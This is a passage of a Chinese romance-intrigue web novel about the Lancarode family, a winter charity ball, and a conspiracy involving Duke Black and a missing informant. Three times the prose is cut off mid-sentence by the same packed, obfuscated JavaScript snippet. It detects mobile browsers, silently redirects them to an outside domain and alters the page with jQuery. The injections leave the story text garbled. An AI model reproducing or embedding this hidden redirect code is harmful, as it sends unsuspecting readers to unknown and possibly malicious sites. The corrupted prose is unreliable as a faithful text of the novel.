凯恩揉揉艾莉森的头，就像他们小时候那样，笑道：“早知道你也这个点回家，还派了梅芙在这里等着，我就懒得翻墙了。” “所以说，你为什么不走正门？”艾莉森白了他一眼——有一阵子没见，这个二哥还是如此的不着调。“母亲大人说，你因为军部事务繁忙，要晚些回来？” 她才不信。 凯恩敛起笑容，故作严肃地说：“艾莉森，军官的事情，别随意打听，万一是国家机密呢？” “反正又是去和哪家贵族小姐鬼混了吧。” 毕业于皇家军事学院的凯恩，升迁速度不可谓不快，但更快的，是他更换女友的频率。 “妹妹，军部真的很忙的。” 凯恩一副“你怎么不相信我”的神色，却没有完全否认。还有什么比工作了一个通宵以后靠在美人怀里睡上一觉更舒服的事呢？ 至于睡过头忘记了和母亲大人约定共进晚餐，也只能怪伯爵家的床太软了！ 凯恩原本打算，从侧门偷溜进家，混到第二天早上，再捧着清晨刚刚剪下的银月玫瑰去向尊敬的公爵夫人道歉。 在哄维罗妮卡开心这件事上，他向来很有经验。 没想到正好碰到艾莉森。 凯恩露出一个能让万千少女沉沦的微笑，对艾莉森道：“我最最亲爱的艾莉森，你还没告诉我，你又是因为什么原因，会在这个时间点出现在此地？” 艾莉森斜睨了他一眼。 “军校学生的事别随便打听，万一我有秘密任务呢？” ——她还真有。 凯恩被她逗得大笑起来。 “艾莉森，一段时间不见，你变得有趣多了——我还以为你会被皇家军事学院那帮老顽固折磨得哭着跑回来。” “没能如你所料，我是不是还该说声抱歉？”艾莉森没好气地说，“你当我是谁？我可是兰卡罗德‘中尉’的妹妹，没让那帮教官哭就不错了。” 二哥当年在学院的丰功伟绩，可没少让麦克雷准将念叨。 她用手支了支鼻子，做了个绝对会让维罗妮卡尖叫的鬼脸，学着麦克雷说话的样子，道： “小姑娘！别以为你是兰卡罗德家的人，就能在我的课堂上放肆，你二哥凯恩当年也得乖乖听课！” 凯恩笑得更欢乐了。 在他的印象里，最小的妹妹实在不是一个让人放心的姑娘。 她很美丽，但在社交场上却过于笨拙，个性还过于执拗，不好相处——偏偏母亲维罗妮卡还对她寄与了不切实际的期望。 凯恩并不赞成艾莉森去做什么王妃。 他在索菲亚女皇陛下眼皮子底下做事，不说十分了解，也知道陛下不是什么好说话的人。 做她的儿媳，艾莉森怎么死的都不知道。 因此，当时听到父亲送她去军事学院时，凯恩一度很担心——万一妹妹又惹出什么祸，让埃德蒙殿下不快，婚约取消就取消，母亲要是歇斯底里起来，他还得负责善后。 但现在看来，这倒没他想象中那么糟糕。 “我听说你实战演练的成绩相当不错？不容易啊，第一次实战演练一年级生都是去当炮灰的。想当年我……” 艾莉森打断他预备好的滔滔不绝追忆当年。 “兄长大人，别打烟雾弹了，说吧，你要我怎么给你打掩护？” 凯恩摸了摸下巴，颇为欣赏： “战术课程看来你确实有好好学——居然一下子就看破了哥哥真实的目的。” 他停住脚步，俯身靠近艾莉森，用只有兄妹二人能听见的声音说：“就说你去逛街，我们‘偶遇’，然后我送你回来，这个借口怎么样？” “……母亲大人又不傻。逛个街而已，为什么非要走侧门？为什么不坐马车？”艾莉森迅速补上逻辑漏洞。 “当然是因为我想带你去平民区的霜雪节市集见见世面。”凯恩接的毫无障碍，一看就是撒谎高手，他拍拍艾莉森的肩，笑道：“放心，这黑锅我来背。” 公爵夫人维罗妮卡第二讨厌的，便是平民区； 而最讨厌的，则是凯恩又又又又又——换了女友。 他挑女人从来不看身份，从身份高贵的贵族小姐，到艳名远播的交际花，如果哪天真找了个“下等人”带回家，维罗妮卡恐怕会昏过去。 “要我帮你撒谎可以，不过……你也得帮我一个忙。”艾莉森抬头望向兄长，朝他勾了勾手指。 凯恩识趣地凑了过去。待他听清了内容，不禁露出一些意外的神色。 “你还没死心？我以为你早就放弃了。” “好吧，就依你。”他耸了耸肩，“基金会的事，我会帮你在母亲那里开口的。” * 银月玫瑰的花瓣上还沾着晨露，这是凯恩一大早从花房里摘来的。 维罗妮卡啜饮着杯中的红茶，头也不抬。 “真想不到，在这个家还有人记得我的存在。” 她的声音听不出情绪，越是这样，说明她越生气。 “带艾莉森去霜雪节集市？凯恩.兰卡罗德，你还记得你的身份吗？” 凯恩对艾莉森挤了挤眼，仿佛在说： 妹妹，是时候让哥哥给你露一手了。 只见他清了清喉咙，朗诵道： “母亲，你生气时更像神祇， 世人只知蔷薇最难近前， 却不知刺后藏的是温软。 若我摘花太晚，忘了归还—— 便请罚我，把心献上，作赔还。*” 念完了诗，他变戏法似的，不知从哪里掏出一个精致的水晶天使，捧到维罗妮卡跟前，笑道：“母亲，这是从集市上挑来的，送您的礼物。当然，平民的东西配不上您，只是儿子的一片心意。” 艾莉森，瞳孔地震。 她知道二哥向来脸皮厚，但没想到他能油腻成这样，心中不禁打出一串长长的省略号，鸡皮疙瘩起了一身—— 维罗妮卡抬了抬眼皮，却不接凯恩的礼物，只是轻轻哼了一声，道： “凯恩，这是你写给谁家小姐的？” 凯恩讪笑，见母亲神色稍缓，急忙凑上前，替她斟上一杯茶：“果然骗不过母亲。但只要能看见您的笑容，我便是做个宫廷弄臣也甘心的。” 艾莉森觉得，自己要是能有二哥一半的圆滑，之前也不会和母亲吵得天翻地覆了。 这便是花花公子的实力吗？ 维罗妮卡心情似乎好了一些，淡淡道：“我真是越来越不懂你了，也不知道是随了哪边。”她接过那个小天使，皱着眉端详了一阵，道：“粗制滥造，也就你们能觉得新鲜。这个玩意儿我不需要，自己留着吧。” 说罢，她的目光扫过艾莉森，冷哼一声：“你妹妹倒是很像她的父亲，倔脾气。” “但艾莉森至少继承了您年轻时十分之一的美貌。” 凯恩继续熟练地吹捧着维罗妮卡，然后，话锋一转： “而且，艾莉森还继承了您的仁慈和善良。” “哦？”维罗妮卡挑眉，她了解自己的儿子和女儿，凯恩如果只是想为爽约道歉，压根没必要带上艾莉森。 “继续说。” “比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826035|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如……她很希望能在慈善晚宴上，能够帮上您的忙。” 在凯恩疯狂的眼神示意下，艾莉森总算会意，恭敬地说：“母亲大人，之前是我不懂事，伤了您的心。希望您能允许我，再次获得您的信任。” 以艾莉森的性格，能讲出这样的话，已经是她的极限了。 这还是在凯恩悉心教导之下。 维罗妮卡端详着自己的女儿，平心而论，艾莉森的美丽比起当年的自己，的确有过之而无不及。 更何况，她还有兰卡罗德家做靠山。 艾莉森值得最好的婚姻——被人如珍如宝地宠爱着，不需为任何事情担心受怕。 自由和爱情，不过是年轻不懂事时的幻想，她已经付出了沉重的代价，不愿让艾莉森重蹈覆辙。 为此她殚精竭虑，好不容易才为艾莉森争取到与埃德蒙皇太子殿下的一纸婚约，她绝对不容许这件事出现任何变数。 都怪威廉。 那个男人从来只关心家族和他的儿子们，不在乎女儿的前途，甚至还让她去上什么军校。 她不会在王都久留，她一刻也不想呆在那个人身边，但在这短暂的日子里，她要为自己的女儿筹谋。 再怎么争吵，艾莉森也是她自己的骨血。 如今这不省心的孩子肯向她低头，正好给了维罗妮卡台阶下，无论如何，自己也要让她成为慈善晚宴上最引人注目的社交之光，告诉整个阿尔特蒂亚的上流社会，她的女儿是多么的美丽优雅，大方得体。 ——她会是未来的王妃。 维罗妮卡打定主意，合上折扇，对艾莉森道：“既然如此，雷蒙德方才送来了宾客的名单，你便坐下来，和我一同过目吧。” “是，母亲。”艾莉森顺从地在母亲跟前坐下。 维罗妮卡随即转向儿子，道：“凯恩，你也过来。这次邀请的宾客中，不乏家世高贵的淑女，你也该早点定下心来，不要再流连花丛了。” “多谢母亲为我费心。” 凯恩虽然兴趣缺缺，但到了这个份上，开溜是不可能的，只好依言坐下。 名单第一行，便是埃德蒙.雷恩皇太子殿下。 “艾莉森，殿下的邀请函，你得亲笔写，才来得妥帖。” 这些年，艾莉森没少为了鸡毛蒜皮的事给殿下写信，最开始，埃德蒙还会出于礼节回上几封，但近些年却都是由艾文代笔了。 亲笔回信都没有，更别提出席慈善晚宴了，自订婚以来，他从来都是派使者代为致意，送上礼物与简单的祝愿—— 就社交礼仪而言，并没有什么可以挑剔的地方。 但谁都看得出来，王储殿下对这桩婚约，并不算十分重视。 这也是维罗妮卡孜孜不倦要求艾莉森“亲笔”的理由。 艾莉森对此倒并没有什么额外的期待，殿下来或者不来，都不会影响到她真正的目的，于是开口答应道：“我会处理好的，母亲。” 这时，凯恩却皱了皱眉，道：“里奥.布莱克公爵及其家人？” 他拧起那张名单，不满地嘟囔道：“……他们也在名单上？” 听到“布莱克”这个姓，艾莉森亦是有些惊讶。 谁都知道，兰卡罗德家和布莱克家是死敌。 维罗妮卡自然是明白二人的疑虑，不以为然地说：“布莱克家与我们确有嫌隙，但同为帝国两大世家，我们可不能失了礼仪。” 言下之意，布莱克公爵爱来不来，兰卡罗德的格调得有。 但隔日，维罗妮卡收到了两封令她颇感意外的回复。 一封来自皇宫。 告知埃德蒙.雷恩殿下将会依约赴宴； 而另一封,则来自布莱克家。 布莱克公爵将会携次子卡西恩.布莱克前来。 18. 偏移值： 3％ 菲奥娜.坎贝尔男爵小姐和她的母亲踏上兰卡罗德家灯火辉煌的门厅时，舞会还没有开始。 作为帝国两大贵族之一，兰卡罗德家的大宅并不像许多人想象中那么豪华，却处处都透着讲究。 门厅处的大阶梯以大理石制成扶手，两旁矗立着姿态优雅的雕像，架起纯银的枝型烛台。 但更引人瞩目的，是将整个大厅照亮的魔晶灯，以及在霜雪节根本不该绽放的，用于装饰的大量的银月玫瑰。 男爵小姐挽着母亲，脸上挂着优雅得体的微笑，不少宾客被她的美貌吸引，看了过来。 为了参加今天的晚宴，她煞费苦心——不论是服装的选择，还是发型的搭配，对她这样的贵族小姐来说，舞会，便是战场。 兰卡罗德家又如何？ 再显赫的家世，也不过是“王都千金之耻”，就算和王子殿下有婚约，只要女皇陛下发话，也没有那么牢不可破。 菲奥娜不无得意地想。 “坎贝尔男爵小姐，您今天真是迷人。” 向她打招呼的不是别人，正是凯恩.兰卡罗德。 他笑容满面，和认识的贵族小姐——以及那些对他抱有敌意的男士们逐一寒暄，最后停在菲奥娜面前。 “不知我今天是否有荣幸得到您的一支舞？”他的目光扫过菲奥娜淡粉色的裙子，毫不掩饰其中的欣赏。 男爵小姐嫣然一笑，不说好，也不说不好。 贵族的千金，总是要矜持一些。 “凯恩，坎贝尔男爵夫人和小姐来了？” 女主人维罗妮卡.兰卡罗德公爵夫人挽着她的丈夫走了过来。 威廉.兰卡罗德公爵还是老样子，不苟言笑，常年的军旅生涯，让他凌厉的气质和这样的场合始终显得有些格格不入。维罗妮卡的举止则随和得多，她穿着一件南方式样的深蓝色华丽礼裙，岁月在她的脸上虽然留下了痕迹，却更添了几分雍容的姿态，让人不禁赞叹，不愧是早年间王都出了名的美人。 霜雪节的慈善舞会，向来是维罗妮卡的主场，再不喜欢舞会，威廉也得给她几分面子。 但菲奥娜的目光被维罗妮卡身后的艾莉森吸引了，直到坎贝尔男爵夫人轻轻撞了一下她的胳膊才反应过来，忙向晚宴的主人问候。 艾莉森.兰卡罗德今天穿着条孔雀蓝的一字肩礼裙,束着黑色的丝缎腰带，随着她走动起来,裙子上的金线在灯光下反射出碎钻一样的光芒。蜂蜜色的卷发高高地盘在头顶，装饰了一朵银月玫瑰。 菲奥娜从前也见过兰卡罗德小姐，但今天的她—— 她的气质是有些疏离的，仿佛有些心不在焉，湛蓝色的眼睛明明带着笑意，却给人一种望着远方的感觉。 艾莉森.兰卡罗德只要站在那里，就让其他人黯然失色。 这时，礼仪官高声唱到： “埃德蒙.雷恩殿下到——” “里奥.布莱克公爵及卡西恩.布莱克公子到——” 贵族们小声地议论起来。 王储殿下出现在霜雪节公爵大人家的慈善晚宴上，是破天荒的第一次。 而更令人意外的，却是布莱克公爵和他的“儿子”。 卡西恩.布莱克并非布莱克公爵和他的夫人所生，这是贵族圈子里公开的秘密，虽然听说过公爵送他去了皇家军事学院，不少人也见过他，但公爵居然带着这个这个“不光彩的次子”出现在政敌兰卡罗德家的舞会上—— 一些嗅觉敏感的男士们，已不禁猜测起来。 但女士们的注意力却在别的地方。 埃德蒙殿下自不用说，本就是王都公认的美男子，之前他订婚的时候，无数少女黯然心碎，直到今日还不能释怀。他穿着白色的皇室礼服，紫水晶一般的眸子含着温柔的笑意，只要看上一眼，仿佛都能溺毙在其中。 但那位布莱克家的公子—— 他身材修长挺拔，穿着一件深蓝色黑领的礼服，配着丝绸领巾，领口和袖口上绣着银线，看起来干净利落，黑色的头发整齐地梳在脑后。 和埃德蒙殿下精雕细琢的美貌相比，布莱克家的二公子有着立体而深邃的五官轮廓，这让他看起来比实际年龄要成熟一些，加上那双少见的金绿色眼睛，举手投足之间，薄薄的唇带着若有似无的微笑，自有一种奇特的魅力。 就连自诩美貌的菲奥娜小姐也低下了头，不敢再看他，好像多瞧上一眼，就会被人发现她早已烧红的脸颊。 她想着：他会邀请谁跳舞呢？谁会是那个幸运儿？ 菲奥娜不自觉地看向站在女主人身边的艾莉森。 兰卡罗德小姐正随着她的父母一起，迎接这几位贵宾。当她和埃德蒙，卡西恩站在一起的时候，仿佛星辰落入了这间大厅，把那些水晶灯和银月玫瑰都衬得黯然失色。 没过多久，乐队开始演奏音乐，按照礼仪，当由身份最高的宾客邀请女主人或者是她的直系亲属跳开场舞，但正如所有人预料的那样，公爵夫人将自己的女儿交到王储殿下手中。 埃德蒙牵引着艾莉森走进舞池。 少女把左手搭在他的肩上，艾德蒙揽住她的腰。 悠扬的圆舞曲奏响。 印象中，他们共舞的次数并不多。 不得不说，艾莉森是个很好的舞伴，她敏捷，轻盈，每一步都踩在拍子上，与她跳舞，像是沉入水流之中，被三拍子轻盈的波浪推动着。 埃德蒙牵着她的手，如同握着一朵玫瑰，每一次旋转，他都能闻到她发间的芬芳。 “殿下，感谢您能出席。” 然而艾莉森的声音将他拉回了现实，她用只有两人能听见的声音说： “‘猫头鹰’失踪了，我们正在追查他的下落，目击者说，他最后出现在矿区。” 埃德蒙皱了皱眉，目光越过她白瓷一般的肩膀，落在舞池旁正和人交谈的布莱克公爵，以及他身边的卡西恩身上。 “小心行事。”他叮嘱道，强迫自己将目光从她娇艳的唇瓣上移开，“如果感到危险，不要冒然行动。” 他知道她变了，不再用那种迷恋而狂热的目光追随自己。 这当然是好事。 生为帝国的王储，埃德蒙一直都很清楚他需要的伴侣该是什么样子。 家世显赫是最重要的，如果能够聪明一些就更好——爱情是最无关紧要的。 这支曲子的时间不长，但足够私密，她需要抓紧时间向他报告事情的进展；但有一瞬间，埃德蒙却不禁在心中埋怨，为什么一定要在这时候提起呢？ 一曲舞毕，他们相互行礼，埃德蒙开口道： “您要再跳一支舞吗，艾莉森？” 贵族青年们即便定下婚约，再有一两个情人，也不是什么稀奇事。以埃德蒙的身份，加上种种他对于兰卡罗德小姐并不满意的传闻，即便有了“未婚妻”，依然有不少女人想要接近他。 但他很少对异性表现出明显的兴趣，大多数时候，他扮演着一名完美的皇室继承人——就连他的母亲，那位以铁腕手段知名的索菲亚女皇，有时也会怀疑自己儿子在该对爱情有所憧憬的时候如此懂事，对国家来说，究竟是喜是忧。 而这样的殿下，居然会再次向那位“传闻中”的兰卡罗德小姐邀舞？ 也许殿下此前的冷淡疏远，只是在给兰卡罗德小姐那些超出分寸的行为一个警告——他依旧钟情于自己的未婚妻，这才对别的女人敬而远之。 艾莉森有些意外，现在这个场合人多眼杂，说太多只怕会引起太多不必要的注意。 她望向埃德蒙紫水晶般的眸子，笑意盈盈，提起裙摆屈膝还礼： “殿下尚未尽兴？” 埃德蒙当然听得明白——她在问自己，关于那项任务，是不是还有什么没来得及叮嘱的事？ 他不禁失笑，艾莉森性格的转变之大，常常让他有一种错觉——简直就像灵魂换了一个人似的。 不然的话，以一个贵族少女来说，实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826036|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太不解风情了。 “我的未婚妻如此美丽，把下一支舞让给别人，未免有些可惜。” 艾莉森微愣，还没来得及回应，却被一个声音打断： “殿下，兰卡罗德小姐，请恕我打扰。” 布莱克公爵脸上挂着堪称“温和”的笑容，不知何时来到了他们身旁。 里奥.布莱克和兰卡罗德公爵不同，他身材并不高大，头发灰白，脸上挂着堪称“温和”的笑容，但谁也不敢轻视这位号称“毒蛇家族”的现任掌权者。毕竟，领教过他手段的人，能有个墓碑已经算好结局。 凯恩想要上前阻止，威廉公爵却拦住了他。 布莱克公爵作为受邀来宾，并没有什么带有敌意的举动，甚至还表现出一丝不同寻常的友好。 “请让我引荐一下我的次子，卡西恩.布莱克。” 卡西恩恭敬地向埃德蒙和艾莉森行礼，像一个真正的贵族公子那样——全没有平日在学院里那种如刀锋般锐利的气质。 “公爵大人言重了，卡西恩在皇家军事学院可是最优秀的学员之一，我们算是同学。” 埃德蒙颔首回礼，笑着看向卡西恩。 艾莉森亦点了点头，以完美的贵族礼节问候道：“霜雪节快乐，卡西恩，难得在学院外见到你。” “霜雪节快乐，兰卡罗德小姐。”卡西恩礼貌地说。 不知为何，艾莉森觉得他在憋笑。 他们三个人不仅熟识，甚至还一起打过王座牌。 公爵笑了起来：“那就更好了。既然如此，殿下，可否也给犬子一个与兰卡罗德小姐共舞一曲的机会呢？能看到我们两家的后辈交好，威廉阁下想必也十分乐意。” 艾莉森不禁看向父亲那边，威廉公爵脸上倒是没什么表情，但一旁的凯恩，却是极为明显地翻了个白眼。 卡西恩向她鞠了一躬：“不知我是否有这个荣幸，兰卡罗德小姐？” 她看了眼埃德蒙，见他没有反对的意思，便把手搭在了卡西恩的肩上，随他步入舞池。 音乐再次奏响。 “差点认不出你了，卡西恩。” 艾莉森打趣道。 “多谢夸奖，大小姐。” 卡西恩揽着艾莉森的腰，两人相对时，他又恢复了那熟悉的嘲弄神色。 “彼此彼此——如果不是见你和殿下报告‘工作进展’，我也差点认不出来。” 艾莉森挑了挑眉。 “别这样看着我，大小姐，这又不是什么很难猜的事。” 艾莉森望进卡西恩金绿色的眸子，不出所料地在其中捕捉到一缕得意。 “所以呢，你猜得这么准，莫非是想要奖励？” 她突然有了个恶作剧一样的想法——如果此时踩他一脚，想必卡西恩的表情一定很精彩。 真是可惜，母亲大人正盯着自己呢。但凡她做出什么失礼举动，恐怕母亲会念上三天三夜，更不会让她去参加之后矿区的慰问活动了。 曲子即将结束，乐队的演奏进入了高潮。艾莉森跟着卡西恩旋转，旋转，周围的景色和人脸渐渐模糊成一片光怪陆离。 仿佛整个世界里只有她自己，和卡西恩那双金绿色的眼睛。 突然，卡西恩促狭地笑了笑。 不待艾莉森反应，她的腰肢已被卡西恩握住，紧接着，身子一轻。 卡西恩随着音乐将她举起，在空中转了半圈。 华丽的裙摆在空中飞扬起来，像是展开的大扇子，又像是盛放的鲜花。 音乐停了，一曲终了。 舞池之中，所有人的目光都集中在他们身上。 卡西恩的举动，在在场的贵族们看来，实在是太过亲密，也太过失礼了——尤其在王储殿下对兰卡罗德小姐表现出明显的好感之后。 这样的行为，说是挑衅也不为过。 卡西恩十分满意地看着女孩错愕的神情，笑道：“这是上次酒馆的回礼，艾莉森。” 19. 偏移值：3% 天鹅绒挂帘将外间的喧嚣隔绝了些，几名跳舞跳得有些累了的女宾坐在雕花扶手椅上休息，与一旁没有找到舞伴的贵族青年闲聊着。 见埃德蒙进来，宾客们连忙行礼，殿下摆了摆手，几人便也识趣地退到较远的角落去。 尽管如此，小会客厅并不是一个全然封闭的私密空间，自然也无法挡住好奇的目光。 埃德蒙王储殿下，布莱克家的私生子，兰卡罗德家的大小姐，经过刚才舞会上那一出好戏，谁不想知道他们在谈论些什么？ “你这么做，会把艾莉森推向风口浪尖。”埃德蒙紫水晶般的眸子里难得地带上了一丝怒气。 卡西恩瞥了眼正对着他们窃窃私语的贵族们，用脚趾头也能猜到他们在议论些什么。 无非是说他胆大妄为，行为失当，以及…… 明明始作俑者是他，但更多的，恐怕是在指责艾莉森不知检点吧。 作为王储殿下的未婚妻，却和自己这个布莱克家的私生子有说不清道不明的关系。 他当然知道那些贵族们的劣根性，但他还是那么做了—— 制造意外操控局势，向来是他的长项。 “风口浪尖？”卡西恩冷笑：“殿下如果真担心这点，就不该派她去调查那件事——兰卡罗德小姐迟早会成为靶子，今天不过是预演。” 卡西恩看向艾莉森，她的胸膛在礼服下微微起伏着，像是还没有从刚才的舞曲中平复下来，脸孔藏在折扇后面，让人看不清神色。 回想她方才讶异的表情，卡西恩的心情莫名愉悦，于是他故意凑近一步，站在艾莉森身边，忽略掉埃德蒙殿下微微皱起的眉，偏头问道：“大小姐，你怎么想？” 艾莉森思索着。 她了解此人的恶劣兴趣。 撩拨也好，暧昧也罢，他喜欢半真半假的表演，更乐意在欣赏猎物被他骗得团团转的时候，补上致命一击。 “我不介意当你的挡箭牌，卡西恩。” 艾莉森不着痕迹地拉开了和他的距离，好像她正在说的，是一件完全和自己无关的的事一样。 “但你总得让我知道，我挡的东西是什么。这样才公平，不是吗？” 卡西恩挑了挑眉，正要开口，却被埃德蒙打断： “艾莉森，这不合适。你不知道……”埃德蒙不赞同的话说一半，却停了下来，抬眸看向那个布莱克家族的少年，猛然意识到了什么。 “殿下，没什么不合适的。”卡西恩冷笑道，“毕竟兰卡罗德小姐和我都乐意为您效劳。” 埃德蒙看着卡西恩，他意识到，自己被眼前这个人算计了，卡西恩从一开始，就打算拉艾莉森下水。 王子握紧了拳头，又松开来，半晌，他叹口气，对艾莉森道： “你应该猜到了吧。” 艾莉森点了点头。 卡西恩言语里的暗示，为什么他会出现在肥猫酒馆，为什么今天是他和布莱克公爵来这里，甚至更早的—— 那场牌局。 在她看不见的地方，埃德蒙殿下也与卡西恩达成了某种合作。 和失踪案有关吗？还是和布莱克家族有关？ “殿下不必忧虑。”艾莉森回答道，“是我自己决定参与其中。当然，如果能对殿下有所帮助，则更好不过。” “前提是，你们不能再对我有所隐瞒。” 埃德蒙见她心意已决，瞥了眼不远处的宾客，压低嗓音，道：“……是布莱克公爵。” “我们怀疑，布莱克公爵和诺森德尔有勾结，但没有证据。” “在‘猫头鹰’失踪的前几天，我跟踪过他。”卡西恩小声道：“最后一个和他接触的人，是卡洛。” 艾莉森一惊，帝国两大贵族之一和敌国勾结，绝非小事。 “这件事牵连甚广，找到‘猫头鹰’的下落，会是最为关键的一点。”埃德蒙说，随即关心地看向身边的女孩：“艾莉森，接下来的事情，卡西恩会和你一起去。” 说罢，他不禁苦笑：“我本想找机会告诉你，只是没想到，会以今天这种方式……” 他看向卡西恩，眼中似有复杂的情绪：“卡西恩，我的未婚妻的安全，便交给你了。” 卡西恩假装没有听见王子故意加重的“我的未婚妻”几个字，笑道： “殿下放心，我会照顾好艾莉森。” 他故意提高了声音，好让会客厅里一直偷偷关注着这三人的贵族们听见。 正在这时，凯恩掀开遮挡会客厅入口处的天鹅绒帘子走了进来。 他扫了一眼卡西恩，随即对埃德蒙微微鞠了一躬： “殿下，抱歉打扰您，但募捐就要开始了，母亲吩咐，作为东道主，舍妹也应当到场。” 埃德蒙点了点头，让开一步，笑道：“那便不耽搁兰卡罗德小姐履行职责了。” 卡西恩没有作声，只是向凯恩颔首致意，但对方却像没看见他似的，挽着艾莉森走了。 刚一离开会客室，凯恩便低声咬牙道： “以后我得在家门口立个牌子，写上‘布莱克家和狗不得进入’！” 虽然知道他只是打个比方，艾莉森还是配合地笑了起来： “哥，别带狗，狗是无辜的。” “……说得没错。”凯恩舒了口气，像是要把胸中的郁气排出似的，他停下脚步，目光灼灼地看着艾莉森： “艾莉森，我无权过问你的交际，但那种不顾你立场的家伙，还是少来往为妙。” 他恨恨地看了一眼会客室，“这下可好，这些无所事事的家伙又有谈资了。” “父亲和母亲怎么说？” 艾莉森苦笑，她的名声差也不是第一天了，父亲恐怕早就习惯，但母亲…… “父亲没说什么，”凯恩耸耸肩，“我看他眼神，大概已经在预演下一次议会要和布莱克公爵大战八百回合了；至于母亲，”凯恩苦恼地抓了抓头发，无可奈何地说：“她刚刚去休息室躺着了，还按着额头，一个劲说要回南方。” 凯恩顿了一顿，满怀同情地看向艾莉森：“所以说，你最好想好该怎么跟母亲大人解释——她让你过去。” 他轻拍艾莉森的肩膀，道：“听哥哥一劝，别跟她硬碰硬。” 艾莉森抬头望天。 卡西恩，都怪你。 果不其然，等着她的是维罗妮卡一阵劈头盖脸的指责，诸如“你怎么会结交那种粗俗的人？”，“天哪，埃德蒙殿下会怎么想”，“你还嫌自己在王都丢人丢得不够吗”，这次艾莉森学乖了，低头乖乖挨训，末了，从侍女手中接过红茶，恭敬地递到母亲手上，等她念叨够了，气也消得差不多，才“有技巧的”开口道： “母亲，我错了。” 来自凯恩.兰卡罗德的著作《哄母亲消气：一百个小技巧》的第一招：“不管你有没有错，先认错。” 维罗妮卡抿了口红茶，转头不看她。 “让母亲为我费心了，如果您允许的话，这次捐款名册的整理，请让女儿为您代劳。“ 第二招：“表达你对她辛劳付出的体贴，并提出解决方案。” 维罗妮卡“哼”了一声，冷冷道：“跟凯恩学的？” “怎么会呢？母亲，我是真心想要弥补——您身体不好，之后的矿区慰问，女儿也愿意替您分忧。那里环境恶劣，怎能让您亲自去呢？” 第三招：“眼神和语气一定要真诚，表达替她分忧解难的热情——还有别说是我教你的。” “算了。”维罗妮卡皱着眉，放下茶杯，“跟你生气也没用，等下还要主持募捐，这事你父亲从来都不管。” “是啊，母亲若不回来，家里许多事都做不下去。” 终极绝杀：表达这个家里没母亲不行。 不得不说，凯恩传授的技巧是真的有用，一套丝滑连招下来，维罗妮卡冷若冰霜的神情，总算是松动了些。 艾莉森暗自松了口气，但她没想到，真正让她头疼的事还在后面。 “兰卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826037|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗德夫人，犬子从前体弱，少在社交界露面，这次是他失礼，冒犯了艾莉森小姐。”布莱克公爵满怀歉意地说，语气不可谓不诚恳。 恢复过来的维罗妮卡脸上挂着堪称贵妇典范的假笑，以扇掩唇：“公爵大人，您这说的是哪里话。” 毕竟在慈善拍卖上，布莱克公爵捐出了一笔让所有人都惊讶的巨款。 这场舞会，让人意外的事情实在太多了。 贵族们议论纷纷，各自揣测着： 不是说布莱克家和兰卡罗德家是死对头吗？如今布莱克公爵这么大方，看来是要与兰卡罗德公爵言和？ 听说这位次子最近颇受公爵大人看重，大有压倒长子的风头——公爵大人莫非是看见他对兰卡罗德家小姐有意，想要为他在此争取？ 争取什么，没见到埃德蒙殿下对那位小姐的眼神吗？布莱克家再大胆，也不敢和皇室抢人。 “尊敬的夫人，可否让犬子也在此后的矿区慰问中出一份力，他还有许多可以学习的东西，也当做是为今天的事情赔罪。” 布莱克公爵此言一出，莫说是维罗妮卡愣住，连始终不发一语的兰卡罗德公爵，也皱起了眉头。 “布莱克大人，矿区的事，向来是兰卡罗德家在管理。”兰卡罗德公爵上前一步，语气冰冷。 “威廉，不用如此咄咄逼人，”布莱克公爵笑得十分温和，“只是想让年轻人多一些学习的机会，“至于那肮脏的魔晶石——恕我直言，我一向避之不及。” “呵，洁白无暇的布莱克家。”威廉公爵冷笑道。 “威廉，我们两个老家伙在议会上斗得还不够吗？孩子们的事情，没必要吧？更何况，我今天的诚意，总不至于没人看见。” 他转向身后，看向一脸恭敬的卡西恩，道：“卡西恩，想必你也想为舞会上的无礼向艾莉森小姐致歉？” 卡西恩行礼道：“兰卡罗德大人，艾莉森小姐，请给我一个为今日鲁莽之举弥补的机会。” 威廉公爵的目光落在这个布莱克家的年轻人身上，这是他第一次见到卡西恩，但只一眼，他便知道他是里奥.布莱克的骨血。 比起卡洛，他和年轻时的布莱克公爵更加相似，并不是外表——而是那种看似无害，却将所有的野心和欲望藏于眼中的矛盾气质。 里奥这个老狐狸，他说对魔晶石没有兴趣，那又为什么要在此时将他推出来接近艾莉森，而不是他公认的继承人卡洛？ 布莱克家的举动过于反常，他必须提防——而最好的提防，便是将这个不知从何处冒出来的“布莱克次子”，置于阳光之下—— 这样才能看清他的影子。 公爵正要点头，维罗妮卡却“啪”地合上了折扇，冷道： 